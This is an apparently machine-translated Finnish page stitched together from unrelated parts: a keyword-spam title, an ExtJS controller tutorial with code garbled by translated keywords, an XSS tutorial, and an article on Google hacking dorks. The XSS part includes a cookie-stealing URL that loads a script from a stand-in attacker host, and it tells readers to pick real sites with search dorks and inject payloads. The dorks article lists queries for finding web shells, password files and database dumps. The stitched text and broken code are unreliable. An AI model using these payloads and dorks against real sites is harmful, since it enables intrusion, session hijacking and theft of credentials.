Inurl livre php msg alert courageous. Ohjainten luominen ExtJS:ssä. Sanojen etsiminen lisäoperaattoreilla

Viimeisin päivitys: 1.11.2015

Ohjain on avainlinkki, joka yhdistää kaikki sovelluksen osat ja saa ne toimimaan. Lisää luetteloon BookApp/app/controller tiedosto Books.js seuraavalla sisällöllä:

Ext.define("BookApp.controller.Books", ( laajennus: "Ext.app.Controller", näkymät: ["BookList", "Book"], kaupat: ["BookStore"], mallit: ["Kirja"] , init: function() ( this.control(( "Viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( click: this.createBook), "bookwindow button": ( napsauta: this.updateBook ), "bookwindow button": ( click: this.deleteBook), "bookwindow button": ( click: this.clearForm )), // päivitä päivitysKirja: function(button) ( var win = button.up(" window") , muoto = win.down("lomake"), arvot = form.getValues(), id = muoto.getRecord().get("id" Ext.Ajax.request(); url: "app/data/update.php", parametrit: arvot, menestys: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " kirjalista").getStore(); store.load(); Ext.Msg.alert("Päivitä",data.message); else( Ext.Msg.alert("Päivitä","Kirjan päivittäminen kirjastossa epäonnistui "); ) ) )); ), // luodaan CreateBook: function(button) ( var win = button.up("window"), form = win.down("form"), arvot = form.getValues () ;

Ext.Ajax.request(( url: "app/data/create.php", parametrit: arvot, menestys: funktio(vastaus, asetukset)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Luo",data.viesti); var store = Ext.widget("kirjalista").getStore(); store.load(); ) else( Ext.Msg.alert("Luo" "Kirjan lisääminen kirjastoon epäonnistui");

Katselukerrat: ["BookList", "Book"], kaupat: ["BookStore"], mallit: ["Book"],

Seuraavaksi alustamme init-parametrissa funktion avulla näppäinkäsittelijät, jotka meillä on näkymässä. Ohjaustoiminto auttaa sinua yhdistämään käsittelijät komponentteihin. Tämä toiminto käyttää Ext.ComponentQuery-luokkaa, jonka avulla voit etsiä elementtejä CSS-tyylivalitsimella. Esimerkiksi lauseke "viewport > booklist" etsii elementtejä, joilla on alias booklist ja jotka on määritetty viewport-komponentissa. Tämä valitsin päätyy BookList-esitykseen.

Ja ilmaisu "kirjaikkunapainike" saa painikkeen, jonka toimintaominaisuus on asetettu uuteen ja joka sijaitsee kirjaikkuna-elementissä, eli Kirja-näkymässä, joka on alias-kirjaikkuna. Jos siis tunnet CSS-valitsimet, sinun ei ole vaikea ymmärtää, kuinka valitsimet toimivat ExtJS:ssä.

"viewport > booklist": ( itemdblclick: this.editBook )

Kaikki käsittelijän funktiot määritellään init-funktion jälkeen. This.editBook-käsittelijä lataa valitun mallin ikkunaan:

EditBook: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(tietue); )

Ext.widget-menetelmää käyttämällä etsimme halutun komponentin Ext.ComponentQuery-valitsimella (tämä lauseke olisi samanlainen kuin Ext.create("widget.bookwindow") -lauseke) ja saa sitten sen alielementin alas-menetelmällä, myös käyttämällä valitsinta. Ja sitten lataamme valitun mallin lomakkeeseen.

Mallin lataamisen jälkeen meillä on kolme vaihtoehtoa: lisätä uusi kirja, muuttaa valittua tai poistaa valittu. Ja tässä näiden painikkeiden käsittelijät tulevat käyttöön. Koska käsittelijät ovat samantyyppisiä, analysoimme yhden niistä.

Päivityskirjan käsittelijä vastaanottaa muuttuneen kirjan tiedot ja lähettää Ajax-pyynnön palvelimelle:

UpdateBook: function(button) ( var win = button.up("window"), form = win.down("lomake"), arvot = form.getValues(), id = form.getRecord().get( "id"); arvot.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: arvot, menestys: function(response)( var data=Ext.decode(response. vastausteksti) ; if(data.success)( var store = Ext.widget("kirjalista").getStore(); store.load(); Ext.Msg.alert("Päivitä",data.viesti); ) else( Ext. Msg.alert("Päivitä","Kirjan päivitys epäonnistui" ) ) );

Käsittelijä saa painetun painikkeen parametrina ja sitten ylös-menetelmällä saamme tämän painikkeen pääelementit: function(button) (var win= button.up("window")...

Lausekkeella arvot = form.getValues() saamme kaikki lomakekenttien arvot, mutta koska muuttuessa esimerkiksi tietokannan kanssa vuorovaikutuksessa vaaditaan id, niin lisäämme myös lomakkeen id:n. mallia päivitetään arvomuuttujaan.

Seuraavaksi lähetämme palvelimelle Ajax-pyynnön uusilla kirjatiedoilla ja välitämme muuttujan arvot pyynnön parametreina. Vastaanotetaan tiedostoa update.php(jonka pitäisi olla kansiossa BookApp/app/data) voisi vastaanottaa välitetyt parametrit seuraavasti:

Ja lopuksi onnistumistoiminnossa katsomme tulosta, jonka palvelin lähettää vastauksena, ja jos kaikki meni hyvin, lataamme päivitetyt tiedot palvelimelta.

Kaksi muuta käsittelijää toimivat samalla periaatteella.

Ja aivan lopussa muutamme hakemustiedostoa app.js niin, että se hyväksyy yllä luodun ohjaimen seuraavasti:

Ext.application(( vaatii: ["Ext.container.Viewport"], nimi: "BookApp", appFolder: "app", ohjaimet: ["Kirjat"], käynnistä: function() ( Ext.create("Ext. container.Viewport", ( asettelu: "sovi", kohteet: ( xtype: "booklist" ) )); ) ));

Ohjaimet: ["Kirjat"] -ominaisuudessa määritämme yllä luodun ohjaimen.

Nyt sovellus on valmis ja voidaan käynnistää:

Siten voimme soveltaa MVC-mallia Ext JS -sovellusten rakentamiseen.

Cross-site scripting (XSS) on haavoittuvuus, joka sisältää asiakaspuolen koodin (JavaScriptin) lisäämisen verkkosivulle, jota muut käyttäjät katselevat.

Haavoittuvuus johtuu käyttäjän verkkosivulle lisättävien tietojen riittämättömästä suodatuksesta. Se on paljon helpompi ymmärtää konkreettisella esimerkillä. Muista kaikki vieraskirjat - nämä ovat ohjelmia, jotka on suunniteltu vastaanottamaan tietoja käyttäjältä ja näyttämään ne. Kuvitellaan, että vieraskirja ei tarkista tai suodata syötettyjä tietoja millään tavalla, vaan yksinkertaisesti näyttää ne.

Voit hahmotella yksinkertaisimman skriptisi (mikään ei ole helpompaa kuin huonojen skriptien kirjoittaminen PHP:llä - monet ihmiset tekevät tämän). Mutta valmiita vaihtoehtoja on jo paljon. Suosittelen esimerkiksi aloittamaan Dojosta ja OWASP Mutillidae II:sta. Siellä on samanlainen esimerkki. Siirry erillisessä Dojo-ympäristössä tähän linkkiin selaimessasi: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Jos joku käyttäjistä syötti:

Tämän jälkeen verkkosivulla näkyy:

Hei! Pidän sivustostasi.

Ja jos käyttäjä kirjoittaa tämän:

Hei! Pidän sivustostasi.alert("Pwned")

Sitten se näytetään näin:

Selaimet tallentavat useita evästeitä suurelle määrälle sivustoja. Jokainen sivusto voi vastaanottaa vain itsensä tallentamia evästeitä. Esimerkiksi example.com on tallentanut evästeitä selaimeesi. Jos vierailet other.com-sivustolla, tämä sivusto (asiakas- ja palvelinkomentosarjat) ei voi käyttää example.com-sivuston tallentamia evästeitä.

Jos example.com on haavoittuvainen XSS:lle, tämä tarkoittaa, että voimme jollakin tavalla lisätä siihen JavaScript-koodia, ja koodi suoritetaan example.com-sivuston puolesta! Ne. Tämä koodi saa esimerkiksi pääsyn example.com-sivuston evästeisiin.

Luulen kaikkien muistavan, että JavaScript suoritetaan käyttäjien selaimissa, ts. XSS:n läsnäollessa upotettu haittakoodi pääsee käsiksi verkkosivuston sivun avanneen käyttäjän tietoihin.

Upotettu koodi voi tehdä kaiken, mitä JavaScript voi tehdä, nimittäin:

  • saa pääsyn tarkastelemasi verkkosivuston evästeisiin
  • voi tehdä mitä tahansa muutoksia sivun ulkoasuun
  • käyttää leikepöytää
  • voi toteuttaa JavaScript-ohjelmia, esimerkiksi keyloggereita (näppäinpainallusten sieppaajia)
  • poimia BeEFistä
  • jne.

Yksinkertaisin esimerkki evästeistä:

hälytys(dokumentti.eväste)

Itse asiassa varoitusta käytetään vain XSS:n havaitsemiseen. Todellinen haitallinen hyötykuorma suorittaa piilotettuja toimia. Se ottaa salaa yhteyttä hyökkääjän etäpalvelimeen ja siirtää varastetut tiedot siihen.

XSS-tyypit

Tärkein asia, joka on ymmärrettävä XSS-tyypeistä, on, että ne ovat:

  • Tallennettu (pysyvä)
  • Heijastunut (ei-pysyvä)

Esimerkki vakioista:

  • Erityisesti muotoiltu viesti, jonka hyökkääjä on syöttänyt vieraskirjaan (kommentti, keskustelupalstaviesti, profiili), joka tallennetaan palvelimelle, ladataan palvelimelta aina, kun käyttäjät pyytävät tämän sivun näyttämistä.
  • Hyökkääjä pääsi käsiksi palvelimen tietoihin esimerkiksi SQL-injektion avulla ja lisäsi haitallista JavaScript-koodia (jossa on kilologgereita tai BeEF) käyttäjälle annettuihin tietoihin.

Esimerkki ei-pysyvistä:

  • Sivustolla on haku, joka näyttää hakutulosten ohella jotain "Hait: [hakumerkkijono]", eikä tietoja suodateta kunnolla. Koska tällainen sivu näytetään vain sille, jolla on linkki siihen, hyökkäys ei toimi ennen kuin hyökkääjä lähettää linkin muille sivuston käyttäjille. Sen sijaan, että lähettäisit linkin uhrille, voit käyttää haitallisen skriptin sijoittamista neutraalille sivustolle, jolla uhri vierailee.

Ne myös erottavat (jotkut ei-pysyvien XSS-haavoittuvuuksien tyyppinä, jotkut sanovat, että tämä tyyppi voi olla myös eräänlainen pysyvä XSS):

  • DOM mallit
DOM-pohjaisen XSS:n ominaisuudet

Yksinkertaisesti sanottuna voimme nähdä "tavallisen" ei-pysyvän XSS:n haitallisen koodin, jos avaamme HTML-koodin. Linkki muodostetaan esimerkiksi näin:

Http://example.com/search.php?q="/>hälytys(1)

Ja kun avaamme lähdekoodin HTML-koodin, näemme jotain tällaista:

hälytys(1)" /> Etsi

Ja DOM XSS muuttaa DOM-rakennetta, joka muodostuu selaimessa lennossa, ja näemme vain haitallista koodia katsoessamme luotua DOM-rakennetta. HTML ei muutu. Otetaan tämä koodi esimerkkinä:

site:::DOM XSS Tapahtui virhe... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (tulokset) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad();

")

document.write("Istunnon tunnuksesi oli: " + display_session + "

Sitten selaimessa näemme:

Sivun lähdekoodi:

Muodostetaan osoite seuraavasti:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Nyt sivu näyttää tältä:

Mutta katsotaanpa HTML-lähdekoodia:

Mikään ei ole muuttunut siellä ollenkaan. Tästä puhuin, meidän on tarkasteltava asiakirjan DOM-rakennetta haitallisen koodin tunnistamiseksi:

Tässä on toimiva XSS-prototyyppi, todellista hyökkäystä varten tarvitsemme monimutkaisemman hyötykuorman, mikä ei ole mahdollista, koska sovellus lopettaa lukemisen heti puolipisteen jälkeen, ja jotain kuten alert(1);alert(2) ei ole enää mahdollista. Unescape():n ansiosta voimme kuitenkin käyttää palautustiedoissa tällaista hyötykuormaa:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Voimme nyt kirjoittaa haitallisen JavaScript-hyötykuorman ja luoda linkin lähetettäväksi uhrille, kuten tehdään tavallisessa ei-pysyvässä sivustojen välisessä komentosarjassa.

XSS Auditor

Google Chromessa (ja myös Operassa, joka nyt käyttää Google Chrome -moottoria) odotti minua tämä yllätys:

dom_xss.html:30 XSS Auditor kieltäytyi suorittamasta komentosarjaa "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" koska sen lähdekoodi löytyi pyynnöstä. Tarkastaja otettiin käyttöön, koska palvelin ei lähettänyt "X-XSS-Protection"- eikä "Content-Security-Policy"-otsikkoa.

Ne. selaimessa on nyt XSS-auditori, joka yrittää estää XSS:n. Firefoxissa ei vielä ole tätä toimintoa, mutta mielestäni se on ajan kysymys. Jos käyttöönotto selaimissa onnistuu, voimme puhua merkittävästä vaikeudesta XSS:n käytössä.

On hyvä muistaa, että nykyaikaiset selaimet ryhtyvät toimiin rajoittaakseen hyväksikäyttöongelmia, kuten ei-pysyvää XSS:ää ja DOM-pohjaista XSS:ää. Tämä on myös muistettava testattaessa verkkosivustoja selaimella - voi hyvinkin käydä ilmi, että verkkosovellus on haavoittuvainen, mutta et näe ponnahdusikkunan vahvistusta vain siksi, että selain estää sen.

XSS-käyttöesimerkkejä

Hyökkääjien, jotka aikovat hyödyntää sivustojen välisiä komentosarjahaavoittuvuuksia, on lähestyttävä jokaista haavoittuvuusluokkaa eri tavalla. Jokaisen luokan hyökkäysvektorit on kuvattu tässä.

XSS-haavoittuvuuksia varten hyökkäykset voivat käyttää BeEF:ää, joka laajentaa hyökkäyksen verkkosivustolta käyttäjien paikalliseen ympäristöön.

Esimerkki ei-jatkuvasta XSS-hyökkäyksestä

1. Alice vierailee usein tietyllä Bobin isännöimällä verkkosivustolla. Bobin verkkosivuilla Alice voi kirjautua sisään käyttäjätunnuksella/salasanalla ja tallentaa arkaluontoisia tietoja, kuten maksutietoja. Kun käyttäjä kirjautuu sisään, selain tallentaa valtuutusevästeet, jotka näyttävät merkityksettömiltä merkeiltä, ​​ts. molemmat tietokoneet (asiakas ja palvelin) muistavat, että hän tuli sisään.

2. Mallory huomauttaa, että Bobin verkkosivusto sisältää ei-pysyvän XSS-haavoittuvuuden:

2.1 Kun vierailet hakusivulla, kirjoita hakumerkkijono ja napsauta Lähetä-painiketta. Jos tuloksia ei löydy, sivulla näkyy syötetty hakumerkkijono ja sanat "ei löydy" ja url näyttää tältä http://bobssite .org?q= hänen hakukyselynsä

2.2 Normaalilla hakukyselyllä, kuten sanalla "koirat", sivulla näkyy yksinkertaisesti "koiria ei löytynyt" ja URL-osoite http://bobssite.org?q=dogs, mikä on täysin normaalia toimintaa.

2.3 Kuitenkin, kun poikkeava hakukysely, kuten alert("xss"); :

2.3.1 Näkyviin tulee varoitusviesti (jossa lukee "xss").

2.3.2 Sivulla näkyy alert("xss"); ei löydy sekä virheilmoitus tekstillä "xss".

2.3.3 url, joka soveltuu hyväksikäyttöön http://bobssite.org?q=alert("xss");

3. Mallory rakentaa URL-osoitteen haavoittuvuuden hyödyntämiseksi:

3.1 Hän tekee URL-osoitteen http://bobssite.org?q=pennut. Hän voi halutessaan muuntaa ASCII-merkit heksadesimaalimuotoon, kuten http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E järjestyksessä. estääksesi ihmisiä ymmärtämästä haitallista URL-osoitetta välittömästi.

3.2 Hän lähettää sähköpostia joillekin pahaa-aavistamattomille Bobin sivuston jäsenille ja sanoo: "Katso hienoja koiria."

4. Alice saa kirjeen. Hän rakastaa koiria ja klikkaa linkkiä. Hän menee Bobin sivustolle hakuun, hän ei löydä mitään, siellä näkyy "koiraa ei löytynyt" ja aivan keskellä käynnistetään komentosarjan tagi (se ei näy näytöllä), lataa ja suorittaa Malory's authstealer.js-ohjelma (laukaisee XSS-hyökkäyksen). Alice unohtaa sen.

5. Authstealer.js-ohjelma toimii Alicen selaimessa ikään kuin se olisi peräisin Bobin verkkosivustolta. Hän nappaa kopion Alicen valtuutusevästeet ja lähettää ne Maloryn palvelimelle, josta Malory hakee ne.

7. Nyt kun Mallory on sisällä, hän menee verkkosivuston maksuosaan, katsoo ja varastaa kopion Alicen luottokortin numerosta. Sitten hän menee ja vaihtaa salasanan, ts. Nyt Alice ei voi enää edes tulla sisään.

8. Hän päättää ottaa seuraavan askeleen ja lähettää tällä tavalla muodostetun linkin Bobille itselleen ja saa siten Bobin sivuston ylläpitäjän oikeudet.

Jatkuva XSS-hyökkäys

  • Mallorylla on tili Bobin verkkosivuilla.
  • Mallory huomaa, että Bobin verkkosivusto sisältää jatkuvan XSS-haavoittuvuuden. Jos siirryt uuteen osioon ja lähetät kommentin, se näyttää kaiken, mitä siihen on kirjoitettu. Mutta jos kommenttiteksti sisältää HTML-tageja, ne hahmonnetaan sellaisinaan ja kaikki komentosarjatunnisteet suoritetaan.
  • Mallory lukee artikkelin Uutiset-osiossa ja kirjoittaa kommentin Kommentit-osioon. Kommentissa hän lisää tekstin:
  • Pidin kovasti tämän tarinan koirista. Ne ovat niin mukavia!
  • Kun Alice (tai joku muu) lataa sivun, jossa on tämä kommentti, Maloryn komentosarjatunniste suoritetaan ja varastaa Alicen valtuutusevästeen ja lähettää sen Maloryn salaiselle palvelimelle kerättäväksi.
  • Mallory voi nyt kaapata Alicen istunnon ja esiintyä Alicena.
  • XSS:lle haavoittuvien sivustojen löytäminen

    Dorks XSS:lle

    Ensimmäinen askel on valita sivustot, joilla teemme XSS-hyökkäyksiä. Sivustoja voi hakea Google dorksin avulla. Tässä on muutamia näistä dorkeista, jotka voit kopioida ja liittää Google-hakuun:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Edessämme avautuu luettelo sivustoista. Sinun on avattava sivusto ja etsittävä siitä syöttökenttiä, kuten palautelomake, syöttölomake, sivustohaku jne.

    Haluan heti huomauttaa, että on lähes turhaa etsiä haavoittuvuuksia suosituista automaattisesti päivitetyistä verkkosovelluksista. Klassinen esimerkki tällaisesta sovelluksesta on WordPress. Itse asiassa WordPressissä ja erityisesti sen laajennuksissa on haavoittuvuuksia. Lisäksi monet sivustot eivät päivitä WordPress-moottoria (johtuen siitä, että verkkovastaava teki joitain muutoksia lähdekoodiin) tai niiden laajennuksia ja teemoja (yleensä nämä ovat piraattilaajennuksia ja teemoja). Mutta jos luet tämän osion ja opit siitä jotain uutta, niin WordPress ei ole vielä sinua varten... Palaamme siihen varmasti myöhemmin.

    Parhaat tavoitteet ovat erilaisia ​​itse kirjoitettuja moottoreita ja käsikirjoituksia.

    Voit valita lisättävän hyötykuorman muodossa

    hälytys (1)

    Kiinnitä huomiota siihen, mihin HTML-kooditunnisteisiin upotettu koodisi kuuluu. Tässä on esimerkki tyypillisestä syöttökentästä:

    hälytys (1)

    Hyötykuormamme päätyy sinne, missä sana "tyynyliina" on nyt. Ne. muuttuvat syöttötunnisteen arvoksi. Voimme välttää tämän sulkemalla lainausmerkin ja sitten itse tagin "/>:lla

    ">hälytys(1)

    Kokeillaanpa jollain sivustolla:

    Hienoa, haavoittuvuus on olemassa

    Ohjelmat XSS-haavoittuvuuksien etsimiseen ja tarkistamiseen

    Todennäköisesti kaikissa verkkosovellusskannereissa on sisäänrakennettu XSS-haavoittuvuusskanneri. Tämä aihe ei ole kattava, on parempi tutustua jokaiseen vastaavaan skanneriin erikseen.

    On myös erikoistyökaluja XSS-haavoittuvuuksien etsimiseen. Niistä voimme erityisesti korostaa:

    • XSSer ei ole vain tehokas skanneri, joka voi käyttää eri menetelmiä injektointiin ja suodatuksen ohitukseen, vaan se on myös automaattinen työkalu XSS-alttiiden sivustojen etsimiseen (dorks). Sivustoille, joilla on löydetty haavoittuvuuksia, se voi lisätä hyötykuorman todellista hyökkäystä varten;
    • XssPy on myös melko itsenäinen työkalu, joka löytää sivuston kaikki sivut (myös aliverkkotunnuksissa olevat) ja tarkistaa näiden sivujen kaikki syöteelementit;

    USSCLTD 10. toukokuuta 2016 klo 12.38

    Haavoittuvuuksien etsiminen Googlen avulla
    • Tietoturva

    Verkkoresurssien haavoittuvuuksien etsiminen alkaa tiedustelulla ja tiedonkeruulla.
    Tiedustelu voi olla joko aktiivista - sivuston tiedostojen ja hakemistojen raakaa voimaa, haavoittuvuustarkistusten suorittamista, sivuston manuaalista selaamista tai passiivista - tiedon etsimistä eri hakukoneilla. Joskus käy niin, että haavoittuvuus tulee tiedoksi jo ennen sivuston ensimmäisen sivun avaamista.

    Miten tämä on mahdollista?
    Jatkuvasti Internetissä vaeltavat hakurobotit tallentavat tavalliselle käyttäjälle hyödyllisten tietojen lisäksi usein asioita, joita hyökkääjät voivat käyttää hyökkääessään verkkoresursseihin. Esimerkiksi komentosarjavirheet ja arkaluontoisia tietoja sisältävät tiedostot (määritystiedostoista ja lokeista tiedostoihin, joissa on todennustietoja ja tietokannan varmuuskopioita).
    Hakurobotin näkökulmasta virheilmoitus sql-kyselyn suorittamisesta on pelkkää tekstiä, jota ei voi erottaa esimerkiksi sivun tuotekuvauksesta. Jos hakurobotti yhtäkkiä löysi .sql-tunnisteisen tiedoston, joka jostain syystä päätyi sivuston työkansioon, se nähdään osana sivuston sisältöä ja myös indeksoidaan (mukaan lukien mahdollisesti salasanat siinä määritelty).

    Tällaisia ​​tietoja voi löytää tuntemalla vahvoja, usein ainutlaatuisia avainsanoja, jotka auttavat erottamaan "haavoittuvat sivut" sivuista, jotka eivät sisällä haavoittuvuuksia.
    Exploit-db.com-sivustolla on valtava tietokanta erikoiskyselyistä, joissa käytetään avainsanoja (niin sanottuja dorkkeja), ja se tunnetaan nimellä Google Hack Database.

    Miksi googlettaa?
    Dorks on ensisijaisesti suunnattu Googlelle kahdesta syystä:
    − Joustavin avainsanojen (näkyy taulukossa 1) ja erikoismerkkien syntaksi (näkyy taulukossa 2);
    − Googlen hakemisto on edelleen kattavampi kuin muiden hakukoneiden;

    Taulukko 1 - Tärkeimmät Google-avainsanat

    avainsana
    Merkitys
    Esimerkki
    sivusto
    Hae vain määritetyltä sivustolta. Ottaa huomioon vain url:n
    site:somesite.ru - löytää kaikki sivut tietyltä verkkotunnukselta ja aliverkkotunnuksilta
    inurl
    Hae uri:ssa olevilla sanoilla. Toisin kuin cl. sanat "sivusto", etsii osumia sivuston nimen jälkeen
    inurl:news - etsii kaikki sivut, joilla annettu sana esiintyy urissa
    tekstissä
    Hae sivun tekstiosassa
    intext:"liikenneruuhkat" - täysin samanlainen kuin tavallinen "liikenneruuhkat" -pyyntö
    otsikko
    Hae sivun otsikosta. Teksti tagien välissä
    intitle:”index of” - löytää kaikki sivut hakemistoluetteloilla
    alanumero
    Etsi sivuja, joilla on määritetty pääte
    ext:pdf - löytää kaikki pdf-tiedostot
    tiedostotyyppi
    Tällä hetkellä täysin samanlainen kuin luokka. sana "ext"
    tiedostotyyppi:pdf - samanlainen
    liittyvät
    Etsi samankaltaisia ​​aiheita sisältäviä sivustoja
    related:google.ru - näyttää sen analogit
    linkki
    Etsi sivustoja, jotka linkittävät tähän
    link:somesite.ru - löytää kaikki sivustot, joilla on linkki tähän
    määritellä
    Näytä sanan määritelmä
    define:0day - termin määritelmä
    välimuisti
    Näytä sivun sisältö välimuistissa (jos sellainen on)
    cache:google.com - avaa välimuistissa olevan sivun

    Taulukko 2 - Erikoismerkit Google-kyselyille

    Symboli
    Merkitys
    Esimerkki

    Tarkka lause
    intitle:"RouterOS-reitittimen määrityssivu" - etsi reitittimiä
    *
    Mikä tahansa teksti
    inurl: "bitrix*mcart" - etsi sivustoja Bitrixistä haavoittuvalla mcart-moduulilla
    .
    Mikä tahansa hahmo
    Index.of - samanlainen kuin pyyntöindeksi
    -
    Poista sana
    virhe -varoitus - näyttää kaikki sivut, joissa on virhe mutta ei varoitusta
    ..
    Alue
    cve 2006..2016 - näytä haavoittuvuudet vuosittain vuodesta 2006 alkaen
    |
    Looginen "tai"
    linux | ikkunat - näyttää sivut, joilla joko ensimmäinen tai toinen sana esiintyy

    On syytä ymmärtää, että mikä tahansa hakukoneelle osoitettu pyyntö on haku vain sanoilla.
    On hyödytöntä etsiä sivulta metamerkkejä (lainausmerkit, sulkeet, välimerkit jne.). Jopa lainausmerkeissä määritellyn tarkan lauseen haku on sanahaku, jota seuraa tarkka haku tuloksissa.

    Kaikki Google Hack Database -dorkit on jaettu loogisesti 14 luokkaan, ja ne on esitetty taulukossa 3.
    Taulukko 3 – Google Hack Database -luokat

    Luokka
    Mikä mahdollistaa löytämisen
    Esimerkki
    Jalkapäät
    Web-kuoret, julkiset tiedostojen hallintaohjelmat
    Etsi kaikki hakkeroidut sivustot, joille on ladattu lueteltuja verkkokuoria:
    (intitle:"phpshell" TAI intitle:"c99shell" TAI intitle:"r57shell" TAI intitle:"PHP Shell" TAI intitle:"phpRemoteView") `rwx` "uname"
    Käyttäjänimiä sisältävät tiedostot
    Rekisteritiedostot, asetustiedostot, lokit, tiedostot, jotka sisältävät syötettyjen komentojen historian
    Etsi kaikki rekisteritiedostot, jotka sisältävät tilitietoja:
    tiedostotyyppi:reg reg +intext:"Internet-tilin hallinta"
    Arkaluonteiset hakemistot
    Hakemistot, joissa on erilaisia ​​tietoja (henkilökohtaiset asiakirjat, vpn-asetukset, piilotetut arkistot jne.)
    Etsi kaikki VPN:ään liittyviä tiedostoja sisältävät hakemistolistaukset:
    "Config" intitle:"Index of" intext:vpn
    Git-tietovarastoja sisältävät sivustot:
    (intext:"hakemisto /.git") ("emohakemisto")
    Web-palvelimen tunnistus
    Versio ja muut tiedot web-palvelimesta
    Etsi JBoss-palvelimen hallintakonsolit:
    inurl:"/web-console/" intitle:"Hallintakonsoli"
    Haavoittuvat tiedostot
    Komentosarjat, jotka sisältävät tunnettuja haavoittuvuuksia
    Etsi sivustoja, jotka käyttävät komentosarjaa, jonka avulla voit ladata mielivaltaisen tiedoston palvelimelta:
    allinurl:forcedownload.php?file=
    Haavoittuvat palvelimet
    Asennuskomentosarjat, web-komentotulokset, avoimet hallintakonsolit jne.
    Etsi avoimet PHPMyAdmin-konsolit, jotka toimivat pääkäyttäjänä:
    intitle:phpMyAdmin "Tervetuloa phpMyAdminiin ***" "joka toimii * root@*:na"
    Virheilmoitukset
    Erilaiset virheet ja varoitukset paljastavat usein tärkeitä tietoja - CMS-versiosta salasanoihin
    Sivustot, joissa on virheitä suoritettaessa SQL-kyselyitä tietokantaan:
    "Varoitus: mysql_query()" "virheellinen kysely"
    Tiedostot sisältävät mehukkaita tietoja
    Sertifikaatit, varmuuskopiot, sähköpostit, lokit, SQL-skriptit jne.
    Etsi alustus sql-skriptit:
    tiedostotyyppi:sql ja "insert into" -site:github.com
    Salasanoja sisältävät tiedostot
    Kaikki, mikä voi sisältää salasanoja - lokit, SQL-skriptit jne.
    Salasanoja mainitsevat lokit:
    tiedostotyyppi:lokiteksti:salasana |kulkea |pw
    salasanat sisältävät sql-skriptit:
    alanumero:sqlteksti:käyttäjätunnusteksti:salasana
    Arkaluonteiset verkkokaupan tiedot
    Verkko-ostoksia koskevat tiedot
    Etsi pin-koodeja:
    dcid=bn=pinkoodi=
    Verkko- tai haavoittuvuustiedot
    Tiedot, jotka eivät suoraan liity verkkoresurssiin, mutta vaikuttavat verkkoon tai muihin ei-verkkopalveluihin
    Etsi automaattiset välityspalvelimen määrityskomentosarjat, jotka sisältävät tietoja sisäisestä verkosta:
    inurl:välityspalvelin | inurl:wpad ext:pac | ext:dat findproxyforurl
    Sivut, jotka sisältävät kirjautumisportaaleja
    Sivut, jotka sisältävät kirjautumislomakkeita
    saplogonin verkkosivut:
    intext:"2016 SAP AG. Kaikki oikeudet pidätetään." otsikko: "Kirjaudu sisään"
    Erilaisia ​​verkkolaitteita
    Tulostimet, reitittimet, valvontajärjestelmät jne.
    Etsi tulostimen asetuspaneeli:
    otsikko:"hplaserjet"inurl:SSI/Auth/sarja_config_laitetiedot.htm
    Ohjeet ja haavoittuvuudet
    Verkkosivustot haavoittuvilla CMS-versioilla
    Etsi haavoittuvia laajennuksia, joiden kautta voit ladata mielivaltaisen tiedoston palvelimelle:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Dorkit keskittyvät useammin etsimään kaikilla Internet-sivustoilla. Mutta mikään ei estä sinua rajoittamasta hakua millä tahansa sivustolla tai sivustoilla.
    Jokainen Google-kysely voidaan kohdistaa tiettyyn sivustoon lisäämällä kyselyyn avainsana "site:somesite.com". Tämä avainsana voidaan lisätä mihin tahansa dokkiin.

    Haavoittuvuuksien etsimisen automatisointi
    Näin syntyi idea kirjoittaa yksinkertainen apuohjelma, joka automatisoi haavoittuvuuksien etsinnän hakukoneen (google) avulla ja luottaa Google Hack -tietokantaan.

    Apuohjelma on skripti, joka on kirjoitettu nodejsissa käyttämällä phantomjs. Tarkemmin sanottuna käsikirjoituksen tulkitsee phantomjs itse.
    Phantomjs on täysimittainen verkkoselain ilman graafista käyttöliittymää, jota ohjataan js-koodilla ja kätevällä API:lla.
    Apuohjelma sai melko ymmärrettävän nimen - dorks. Suorittamalla sen komentorivillä (ilman valintoja), saamme lyhyitä ohjeita useilla käyttöesimerkeillä:


    Kuva 1 - Luettelo tärkeimmistä dorks-vaihtoehdoista

    Apuohjelman yleinen syntaksi on: dork "komento" "optioluettelo".
    Yksityiskohtainen kuvaus kaikista vaihtoehdoista on taulukossa 4.

    Taulukko 4 - Dorks-syntaksi

    Joukkue
    Vaihtoehto
    Kuvaus
    ghdb
    -l
    Tulosta numeroitu luettelo dork-luokista Google Hack Database
    -c "luokkanumero tai nimi"
    Määritetyn luokan kuormaovet numeron tai nimen mukaan
    -q "lause"
    Lataa pyynnöstä löydetyt dorkit
    -o "tiedosto"
    Tallenna tulos tiedostoon (vain -c|-q vaihtoehdoilla)
    google
    -d "dork"
    Aseta mielivaltainen dork (vaihtoehtoa voidaan käyttää monta kertaa, yhdistelmä -D-vaihtoehdon kanssa on sallittu)
    -D "tiedosto"
    Käytä dorksia tiedostosta
    -s "sivusto"
    Aseta sivusto (vaihtoehtoa voidaan käyttää monta kertaa, yhdistelmä vaihtoehdon -S kanssa on sallittu)
    -S "tiedosto"
    Käytä sivustoja tiedostosta (dorks etsitään jokaiselle sivustolle erikseen)
    -f "suodatin"
    Aseta lisää avainsanoja (lisätään jokaiseen dokkiin)
    -t "ms ms"
    Google-pyyntöjen välinen aikaväli
    -T "ms-määrä"
    Aikakatkaisu, jos captcha havaitaan
    -o "tiedosto"
    Tallenna tulos tiedostoon (vain ne kappaleet, joille jotain löytyi, tallennetaan)

